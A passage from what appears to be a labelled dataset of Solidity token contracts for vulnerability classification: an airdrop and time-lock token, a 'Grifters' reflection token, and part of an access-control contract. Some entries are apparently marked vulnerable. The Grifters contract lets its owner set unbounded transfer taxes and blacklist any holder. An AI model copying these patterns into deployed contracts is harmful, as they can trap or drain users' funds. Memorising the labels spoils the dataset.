DateTimeLib.toTimestamp(2020, 3, 1) ]; developerReservedBalanceLimits = [ developerReservedBalance, developerReservedBalance - (developerReservedBalance / 8) * 1, developerReservedBalance - (developerReservedBalance / 8) * 2, developerReservedBalance - (developerReservedBalance / 8) * 3, developerReservedBalance - (developerReservedBalance / 8) * 4, developerReservedBalance - (developerReservedBalance / 8) * 5, developerReservedBalance - (developerReservedBalance / 8) * 6, developerReservedBalance - (developerReservedBalance / 8) * 7 ]; } function() public payable { buy(msg.sender, msg.value); } }
1
3,334
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BaseToken { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0)); require(balanceOf[_from] >= _value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { OwnershipRenounced(owner); owner = address(0); } } contract BurnToken is BaseToken { event Burn(address indexed from, uint256 value); function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = balanceOf[_from].sub(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(_from, _value); return true; } } contract AirdropToken is BaseToken, Ownable { uint256 public airAmount; address public airSender; uint256 public airLimitCount; mapping (address => uint256) public airCountOf; event Airdrop(address indexed from, uint256 indexed count, uint256 tokenValue); function airdrop() public { require(airAmount > 0); if (airLimitCount > 0 && airCountOf[msg.sender] >= airLimitCount) { revert(); } _transfer(airSender, msg.sender, airAmount); airCountOf[msg.sender] = airCountOf[msg.sender].add(1); Airdrop(msg.sender, airCountOf[msg.sender], airAmount); } function changeAirAmount(uint256 newAirAmount) public onlyOwner { airAmount = newAirAmount; } function changeAirLimitCount(uint256 newAirLimitCount) public onlyOwner { airLimitCount = newAirLimitCount; } } contract LockToken is BaseToken { struct LockMeta { uint256 remain; uint256 endtime; } mapping (address => LockMeta[]) public lockedAddresses; function _transfer(address _from, address _to, uint _value) internal { require(balanceOf[_from] >= _value); uint256 remain = balanceOf[_from].sub(_value); uint256 length = lockedAddresses[_from].length; for (uint256 i = 0; i < length; i++) { LockMeta storage meta = lockedAddresses[_from][i]; if(block.timestamp < meta.endtime && remain < meta.remain){ revert(); } } super._transfer(_from, _to, _value); } } contract ADEToken is BaseToken, BurnToken, AirdropToken, LockToken { function ADEToken() public { totalSupply = 36000000000000000; name = "ADE Token"; symbol = "ADE"; decimals = 8; owner = msg.sender; airAmount = 100000000; airSender = 0x8888888888888888888888888888888888888888; airLimitCount = 1; balanceOf[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7] = 3600000000000000; Transfer(address(0), 0xf03A4f01713F38EB7d63C6e691C956E8C56630F7, 3600000000000000); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 3600000000000000, endtime: 1559923200})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 3240000000000000, endtime: 1562515200})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 2880000000000000, endtime: 1565193600})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 2520000000000000, endtime: 1567872000})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 2160000000000000, endtime: 1570464000})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 1800000000000000, endtime: 1573142400})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 1440000000000000, endtime: 1575734400})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 1080000000000000, endtime: 1578412800})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 720000000000000, endtime: 1581091200})); lockedAddresses[0xf03A4f01713F38EB7d63C6e691C956E8C56630F7].push(LockMeta({remain: 360000000000000, endtime: 1583596800})); balanceOf[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20] = 3600000000000000; Transfer(address(0), 0x76d2dbf2b1e589ff28EcC9203EA781f490696d20, 3600000000000000); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 3600000000000000, endtime: 1544198400})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 3240000000000000, endtime: 1546876800})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 2880000000000000, endtime: 1549555200})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 2520000000000000, endtime: 1551974400})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 2160000000000000, endtime: 1554652800})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 1800000000000000, endtime: 1557244800})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 1440000000000000, endtime: 1559923200})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 1080000000000000, endtime: 1562515200})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 720000000000000, endtime: 1565193600})); lockedAddresses[0x76d2dbf2b1e589ff28EcC9203EA781f490696d20].push(LockMeta({remain: 360000000000000, endtime: 1567872000})); balanceOf[0x62d545CD7e67abA36e92c46cfA764c0f1626A9Ae] = 3600000000000000; Transfer(address(0), 0x62d545CD7e67abA36e92c46cfA764c0f1626A9Ae, 3600000000000000); balanceOf[0x8EaA35b0794ebFD412765DFb2Faa770Abae0f36b] = 10800000000000000; Transfer(address(0), 0x8EaA35b0794ebFD412765DFb2Faa770Abae0f36b, 10800000000000000); balanceOf[0x8ECeAd3B4c2aD7C4854a42F93A956F5e3CAE9Fd2] = 3564000000000000; Transfer(address(0), 0x8ECeAd3B4c2aD7C4854a42F93A956F5e3CAE9Fd2, 3564000000000000); lockedAddresses[0x8ECeAd3B4c2aD7C4854a42F93A956F5e3CAE9Fd2].push(LockMeta({remain: 1663200000000000, endtime: 1536336000})); lockedAddresses[0x8ECeAd3B4c2aD7C4854a42F93A956F5e3CAE9Fd2].push(LockMeta({remain: 1188000000000000, endtime: 1544198400})); balanceOf[0xC458A9017d796b2b4b76b416f814E1A8Ce82e310] = 10836000000000000; Transfer(address(0), 0xC458A9017d796b2b4b76b416f814E1A8Ce82e310, 10836000000000000); lockedAddresses[0xC458A9017d796b2b4b76b416f814E1A8Ce82e310].push(LockMeta({remain: 2167200000000000, endtime: 1536336000})); } function() public { airdrop(); } }
1
5,328
pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Grifters is Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isSniper; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address payable public dev; address payable public marketing; address payable public redemption; address public _burnPool = 0x0000000000000000000000000000000000000000; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1 * 10**15 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Grifters"; string private _symbol = "DELC"; uint8 private _decimals = 9; uint256 public _taxFee = 300; uint256 public _marketingFee = 300; uint256 public _redemptionFee = 300; uint256 public _developmentFee = 100; bool public transfersEnabled; uint256 private launchBlock; uint256 private launchTime; uint256 private blocksLimit; uint256 public _pendingDevelopmentFees; uint256 public _pendingMarketingFees; address[] public pairs; IUniswapV2Router02 uniswapV2Router; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxWalletHolding = 50 * 10**12 * 10**9; uint256 private numTokensSellToAddToLiquidity = 5 * 10**10 * 10**9; uint256 public _marketingAllocation = 1725 * 10**10 * 10**9; uint256 public _exchangeAllocation = 600 * 10**12 * 10**9; event SwapAndLiquifyEnabledUpdated(bool enabled); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address payable _devWallet, address payable _marketingWallet, address payable _redemptionWallet, address _exchangeWallet) public { dev = _devWallet; marketing = _marketingWallet; redemption = _redemptionWallet; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); pairs.push(uniswapV2Pair); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; _isExcludedFromFee[_exchangeWallet] = true; _isExcluded[_burnPool] = true; _excluded.push(_burnPool); _isExcluded[uniswapV2Pair] = true; _excluded.push(uniswapV2Pair); _isExcluded[address(this)] = true; _excluded.push(address(this)); uint256 currentRate = _getRate(); _rOwned[_marketingWallet] = _marketingAllocation.mul(currentRate); currentRate = _getRate(); _rOwned[_exchangeWallet] = _exchangeAllocation.mul(currentRate); _rOwned[_msgSender()] = _rTotal - _rOwned[_marketingWallet] - _rOwned[_exchangeWallet]; emit Transfer(address(0), _msgSender(), _tTotal); emit Transfer(_msgSender(), _marketingWallet, _marketingAllocation); emit Transfer(_msgSender(), _exchangeWallet, _exchangeAllocation); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; else return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address payable [] memory holders, uint256 [] memory balances) public onlyOwner() { require(holders.length == balances.length, "Incorrect input"); uint256 deployer_balance = _rOwned[_msgSender()]; uint256 currentRate = _getRate(); for (uint8 i = 0; i < holders.length; i++) { uint256 balance = balances[i] * 10 ** 18; uint256 new_r_owned = currentRate.mul(balance); _rOwned[holders[i]] = _rOwned[holders[i]] + new_r_owned; emit Transfer(_msgSender(), holders[i], balance); deployer_balance = deployer_balance.sub(new_r_owned); } _rOwned[_msgSender()] = deployer_balance; } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function manualSwapAndLiquify() public onlyOwner() { uint256 contractTokenBalance = balanceOf(address(this)); swapAndLiquify(contractTokenBalance); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTax(uint256 _taxType, uint _taxSize) external onlyOwner() { if (_taxType == 1) { _taxFee = _taxSize; } else if (_taxType == 2) { _developmentFee = _taxSize; } else if (_taxType == 3) { _marketingFee = _taxSize; } else if (_taxType == 4) { _redemptionFee = _taxSize; } } function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() { swapAndLiquifyEnabled = _enabled; numTokensSellToAddToLiquidity = _numTokensMin; emit SwapAndLiquifyEnabledUpdated(_enabled); } function enableTransfers(uint256 _blocksLimit) public onlyOwner() { transfersEnabled = true; launchBlock = block.number; launchTime = block.timestamp; blocksLimit = _blocksLimit; } function setSniperEnabled(bool _enabled, address sniper) public onlyOwner() { _isSniper[sniper] = _enabled; } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeOperations(uint256 tAmount) private returns (uint256) { uint256 currentRate = _getRate(); uint256 tTransferAmount = tAmount; uint256 tFee = calculateFee(tAmount, _taxFee); uint256 tMarketing = calculateFee(tAmount, _marketingFee); uint256 tDevelopment = calculateFee(tAmount, _developmentFee); uint256 tRedemptions = calculateFee(tAmount, _redemptionFee); _pendingDevelopmentFees = _pendingDevelopmentFees.add(tDevelopment); _pendingMarketingFees = _pendingMarketingFees.add(tMarketing); tTransferAmount = tAmount - tFee - tMarketing - tDevelopment - tRedemptions; uint256 tTaxes = tMarketing.add(tDevelopment).add(tRedemptions); _reflectFee(tFee.mul(currentRate), tFee); _rOwned[address(this)] = _rOwned[address(this)].add(tTaxes.mul(currentRate)); _tOwned[address(this)] = _tOwned[address(this)].add(tTaxes); return tTransferAmount; } function calculateFee(uint256 _amount, uint256 _taxRate) private pure returns (uint256) { return _amount.mul(_taxRate).div(10**4); } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && !isDEXPair(from) && swapAndLiquifyEnabled ) { swapAndLiquify(contractTokenBalance); } uint256 feeType = 1; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { feeType = 0; } else { require(transfersEnabled, "Transfers are not enabled now"); if (isDEXPair(to) || (!isDEXPair(to) && !isDEXPair(from))) { require(!_isSniper[from], "SNIPER!"); if (!isDEXPair(to) && !isDEXPair(from)) { feeType = 0; } } if (isDEXPair(from)) { if (block.number <= (launchBlock + blocksLimit)) _isSniper[to] = true; } } _tokenTransfer(from, to, amount, feeType); if (!_isExcludedFromFee[to] && !isDEXPair(to)) require(balanceOf(to) < _maxWalletHolding, "Max Wallet holding limit exceeded"); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 newBalance = address(this).balance.sub(initialBalance); uint256 payDevelopment = _pendingDevelopmentFees.mul(newBalance).div(contractTokenBalance); uint256 payMarketing = _pendingMarketingFees.mul(newBalance).div(contractTokenBalance); if (payDevelopment <= address(this).balance) dev.call{ value: payDevelopment }(""); if (payMarketing <= address(this).balance) marketing.call{ value: payMarketing }(""); if (address(this).balance > 0) redemption.call{ value: address(this).balance }(""); _pendingDevelopmentFees = 0; _pendingMarketingFees = 0; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount, uint256 feeType) private { uint256 currentRate = _getRate(); uint256 tTransferAmount = amount; if (feeType != 0) { tTransferAmount = _takeOperations(amount); } uint256 rTransferAmount = tTransferAmount.mul(currentRate); uint256 rAmount = amount.mul(currentRate); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount); } else { _transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount); } emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private { _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private { _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private { _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private { _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); } function setPairs(address[] memory _pairs) external onlyOwner() { pairs = _pairs; for (uint i = 0; i < pairs.length; i++) { _excluded.push(pairs[i]); } } function isDEXPair(address pair) private view returns (bool) { for (uint i = 0; i < pairs.length; i++) { if (pairs[i] == pair) return true; } return false; } }
0
1,587
pragma solidity 0.4.25; contract ERC223LegacyCallbackCompat { function onTokenTransfer(address wallet, uint256 amount, bytes data) public { tokenFallback(wallet, amount, data); } function tokenFallback(address wallet, uint256 amount, bytes data) public; } contract KnownContracts { bytes32 internal constant FEE_DISBURSAL_CONTROLLER = 0xfc72936b568fd5fc632b76e8feac0b717b4db1fce26a1b3b623b7fb6149bd8ae; } contract KnownInterfaces { bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd; bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1; bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b; bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073; bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e; bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8; bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0; bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521; bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de; bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9; bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e; bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823; bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14; bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006; bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9; bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72; bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef; bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c; bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8; bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454; bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60; bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1; bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb; bytes4 internal constant KNOWN_INTERFACE_PAYMENT_TOKEN = 0xb2a0042a; } contract Math { function absDiff(uint256 v1, uint256 v2) internal pure returns(uint256) { return v1 > v2 ? v1 - v2 : v2 - v1; } function divRound(uint256 v, uint256 d) internal pure returns(uint256) { return add(v, d/2) / d; } function decimalFraction(uint256 amount, uint256 frac) internal pure returns(uint256) { return proportion(amount, frac, 10**18); } function proportion(uint256 amount, uint256 part, uint256 total) internal pure returns(uint256) { return divRound(mul(amount, part), total); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } } contract IAccessPolicy { function allowed( address subject, bytes32 role, address object, bytes4 verb ) public returns (bool); } contract IAccessControlled { event LogAccessPolicyChanged( address controller, IAccessPolicy oldPolicy, IAccessPolicy newPolicy ); function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public; function accessPolicy() public constant returns (IAccessPolicy); } contract StandardRoles { bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da; } contract AccessControlled is IAccessControlled, StandardRoles { IAccessPolicy private _accessPolicy; modifier only(bytes32 role) { require(_accessPolicy.allowed(msg.sender, role, this, msg.sig)); _; } constructor(IAccessPolicy policy) internal { require(address(policy) != 0x0); _accessPolicy = policy; } function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public only(ROLE_ACCESS_CONTROLLER) { require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig)); IAccessPolicy oldPolicy = _accessPolicy; _accessPolicy = newPolicy; emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy); } function accessPolicy() public constant returns (IAccessPolicy) { return _accessPolicy; } } contract IsContract { function isContract(address addr) internal constant returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract AccessRoles { bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c; bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f; bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174; bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19; bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5; bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0; bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7; bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e; bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b; bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738; bytes32 internal constant ROLE_GAS_EXCHANGE = 